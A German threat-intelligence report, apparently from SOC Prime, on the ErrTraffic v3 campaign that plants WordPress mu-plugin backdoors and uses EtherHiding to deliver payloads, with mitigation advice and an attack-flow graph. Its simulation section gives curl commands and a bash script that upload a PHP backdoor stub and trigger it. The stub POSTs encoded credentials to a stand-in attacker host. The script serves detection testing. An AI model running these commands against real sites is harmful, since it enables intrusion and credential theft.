ErrTraffic v3 nutzt EtherHiding in ClickFix-Kampagnen

Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime

Folgen

ErrTraffic v3 nutzt EtherHiding in ClickFix-Kampagnen

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Der Bericht beschreibt eine neue Kampagne, die das ErrTraffic v3-Tool verwendet, um WordPress-Seiten zu kompromittieren, indem ein mu-Plugin-Backdoor installiert wird. Das Backdoor injiziert verschleiertes JavaScript, das zusätzliche Nutzlasten über eine blockchain-basierte EtherHiding-Technik abruft. Die letzte Phase liefert betriebssystem-spezifischen Schadcode, einschließlich einer verschlüsselten PowerShell-Nutzlast, an die Browser der Opfer. Sicherheitsfehler, wie fest kodierte Schlüssel, gefährden die Infrastruktur.

Untersuchung

LevelBlue SpiderLabs untersuchte das WordPress mu-Plugin-Backdoor, das eingebettete JavaScript-Beacon und das ErrTraffic V3-Kontrollpanel. Sie verfolgten die Verwendung von statischen XOR-Schlüsseln, Base64-Dekodierung und Smart-Contract-Aufrufen zu Polygon RPC-Nodes. Die Analyse identifizierte auch den fest kodierten Authentifizierungsschlüssel, der für die API-Kommunikation verwendet wird, und kartierte die Hosting-Infrastruktur über mehrere bulletproof-Provider.

Minderung

Verteidiger sollten das mu-Plugin-Backdoor entfernen, bekannte bösartige TLDs und IP-Bereiche blockieren, die Nutzung des fest kodierten API-Schlüssels überwachen und ausgehende Verbindungen zu Blockchain-RPC-Endpunkten einschränken. WordPress-Installationen regelmäßig auf unerwartete mu-Plugins auditieren und die Dateiintegrität validieren. Webanwendungs-Firewalls einsetzen, um die Beaconing-JavaScript-Muster zu erkennen.

Reaktion

Bei Erkennung den betroffenen Webserver isolieren, die Backdoor-Dateien entfernen und alle Administrator-Anmeldedaten wechseln. Die identifizierten bösartigen Domains und RPC-Endpunkte am Netzwerkrand blockieren. Eine vollständige forensische Überprüfung durchführen, um heruntergeladene Nutzlasten zu identifizieren und die fortgesetzte C2-Aktivität mithilfe des offengelegten API-Tokens zu überwachen.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["Aktion – T1659 Inhaltsinjektion WordPress-Seite ausnutzen, um bösartiges muu2011plugin hochzuladen (sessionu2011manager.php)"] class step_initial_access action step_persistence["Aktion – T1671 Cloud Application Integration / T1525 Internes Bild implantieren Backdoor installiert als ein Muß-u2011use Plugin, das bei jeder Anforderung ausgeführt wird"] class step_persistence action step_credential_access["Aktion – T1056.003 Eingabeauffangung Eingebettetes JavaScript erfasst Admin-Anmeldedaten und sendet diese an den Angreifer"] class step_credential_access action step_c2["Aktion – T1102.003 Webdienst Einu2011Wege Kommunikation Beacon sendet Besucherdaten über navigator.sendBeacon an Angreifer-Domains"] class step_c2 action step_obfuscation["Aktion – T1027 Verschleierte Dateien Nutzlasten, verschlüsselt mit Base64 und XOR, eingebettet in Inline-Skripten"] class step_obfuscation action step_smart_contract["Aktion – T1059.009 Cloud API Skript fragt Polygon-RPC-Endpunkte und Smart Contracts (EtherHiding) nach URLs ab"] class step_smart_contract action step_dead_drop["Aktion – T1102.001 Verwendet Blockchain als deadu2011drop für C2-Konfiguration"] class step_dead_drop action step_encrypted["Aktion – T1573.001 Symmetrische Kryptographie API-Verkehr, verschlüsselt mit AESu2011GCM oder RC4 unter Verwendung eines hardu2011coded Schlüssels"] class step_encrypted action step_execution["Aktion – T1059.001 PowerShell Downloader erstellt temporäres Verzeichnis, schreibt ausführbare Datei und ruft OSu2011spezifische Nutzlast ab"] class step_execution action step_priv_esc["Aktion – T1546.016 Installer-Pakete PowerShell-Skript registriert sich als Installationspaket, um Standbein zu erhalten"] class step_priv_esc action %% Connections step_initial_access –>|führt zu| step_persistence step_persistence –>|ermöglicht| step_credential_access step_credential_access –>|liefert| step_c2 step_c2 –>|nutzt| step_obfuscation step_obfuscation –>|ermöglicht| step_smart_contract step_smart_contract –>|speichert| step_dead_drop step_dead_drop –>|liefert| step_encrypted step_encrypted –>|unterstützt| step_execution step_execution –>|ermöglicht| step_priv_esc "

Angriffsfluss

Angriffserzählung & Kommandos:
Ein Angreifer hat ein WordPress-Admin-Konto kompromittiert und lädt eine bösartige PHP-Datei mit dem Namen hoch session-manager.php in das Webroot. Die Datei enthält einen harmlos aussehenden HTML-Abschnitt, der mit einem Inline endet <script> Block, dessen Kommentar lautet „JavaScript am Ende der Sektion eingebettet“. Das Skript führt eine heimliche Datenexfiltration in einen Cloud-Speichercontainer durch (simuliert über ein curl POST). Keine Verwendung von navigator.sendBeacon() ist vorhanden, wodurch die Anfrage innerhalb des Erkennungsfensters der Regel bleibt.
1. Bösartige Backdoor hochladen:
```
curl -u admin:passwort -F "file=@session-manager.php" 
 "http://ziel.example.com/wp-admin/async-upload.php"
```
2. Die Backdoor auslösen (erzeugt die Erkennung-auslösende Telemetrie):
```
curl -s "http://ziel.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
```

Regressionstest-Skript:

#!/usr/bin/env bash
#
# Simuliert das Hochladen und Ausführen einer bösartigen WordPress-Backdoor
# die den genauen Satz enthält, nach dem die Sigma-Regel sucht.
#
set -euo pipefail

TARGET="http://ziel.example.com"
ADMIN_USER="admin"
ADMIN_PASS="passwort"

# 1. Erstellen Sie das bösartige PHP-Payload lokal
cat > session-manager.php <<'EOF'
<?php
// JavaScript am Ende des Abschnitts eingebettet
echo "<!DOCTYPE html><html><body>";
echo "<script>/* bösartiger Code */</script>";
echo "</body></html>";
// Einfaches Exfiltration-Stub (kein sendBeacon)
if ($_GET['cmd'] === 'exfiltrate') {
    $data = base64_encode('gestohlene_Anmeldedaten');
    $url = "https://bösartiger-Speicher.example.com/upload";
    $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
    $context = stream_context_create($options);
    file_get_contents($url, false, $context);
}
?>
EOF

# 2. Laden Sie das Payload über den async-Upload-Endpunkt von WordPress hoch
curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
     "${TARGET}/wp-admin/async-upload.php" >/dev/null

echo "[+] Hochgeladener bösartiger session-manager.php"

# 3. Backdoor auslösen, um detektionssichtbare Daten zu erzeugen
curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null

echo "[+] Backdoor ausgelöst – Erkennungstelemetrie sollte nun vorhanden sein"

# 4. Optional: Warten auf SIEM-Aufnahme
sleep 5

Bereinigungs-Befehle:

# Entfernen Sie die bösartige Datei vom Server (erfordert Admin-SSH-Zugang)
ssh admin@ziel.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
echo "[+] Bereinigung abgeschlossen – Backdoor entfernt"

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten